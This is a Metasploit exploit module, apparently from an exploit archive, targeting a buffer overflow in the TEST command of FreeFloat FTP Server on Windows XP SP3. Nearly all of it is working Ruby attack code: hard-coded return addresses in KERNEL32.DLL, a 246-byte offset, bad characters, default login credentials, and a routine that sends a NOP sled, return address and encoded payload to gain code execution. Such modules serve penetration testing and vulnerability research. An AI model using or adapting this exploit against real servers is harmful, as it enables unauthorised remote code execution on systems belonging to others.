This Metasploit module exploits a FreeFloat FTP Server Buffer Overflow found in the TEST command.
35f90de610d979dc9d840b4ee706c0b53cbf44e83f5efd4dc94f3cc41dca9ecd
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Ftp
def initialize(info = {})
super(update_info(info,
'Name' => 'FreeFloat FTP Server TEST Buffer Overflow',
'Description' => %q{
This module exploits a FreeFloat FTP Server Buffer Overflow
found in the TEST command.
},
'Author' => [
'KaHPeSeSe' #Found bug and wrote the exploit
],
'License' => MSF_LICENSE,
'Version' => "$Revision: 14774 $",
'References' =>
[
[ 'URL', 'http://www.exploit-db.com/exploits/17546' ],
[ 'URL', 'http://www.exploit-db.com/exploits/17548' ],
[ 'URL', 'http://www.exploit-db.com/exploits/17550' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'BadChars' => "\x00\x0a\x0d",
},
'Platform' => 'win',
'Targets' =>
[
[ 'PERFECT XP PC1 / SP3 # jmp esp',
{
'Ret' => 0x7C86467B, # findjmp KERNEL32.DLL ESP 0x7C86467B jmp ESP
'Offset' => 246
}
],
[ 'PERFECT XP PC1 / SP3 # push esp - ret',
{
'Ret' => 0x7C909DB0, # findjmp KERNEL32.DLL ESP 0x7C909DB0 push esp - ret
'Offset' => 246
}
],
],
'DisclosureDate' => 'March 13 2012',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(21),
OptString.new('FTPUSER', [ false, 'The username to authenticate as', 'test']),
OptString.new('FTPPASS', [ false, 'The password to authenticate with', 'test'])
], self.class )
end
def exploit
connect_login
print_status("Trying target #{target.name}...")
buf = make_nops(target['Offset']) + [target.ret].pack('V')
buf << make_nops(20)
buf << payload.encoded
send_cmd( ['TEST', buf] , false ) #TEST command
handler
disconnect
end
end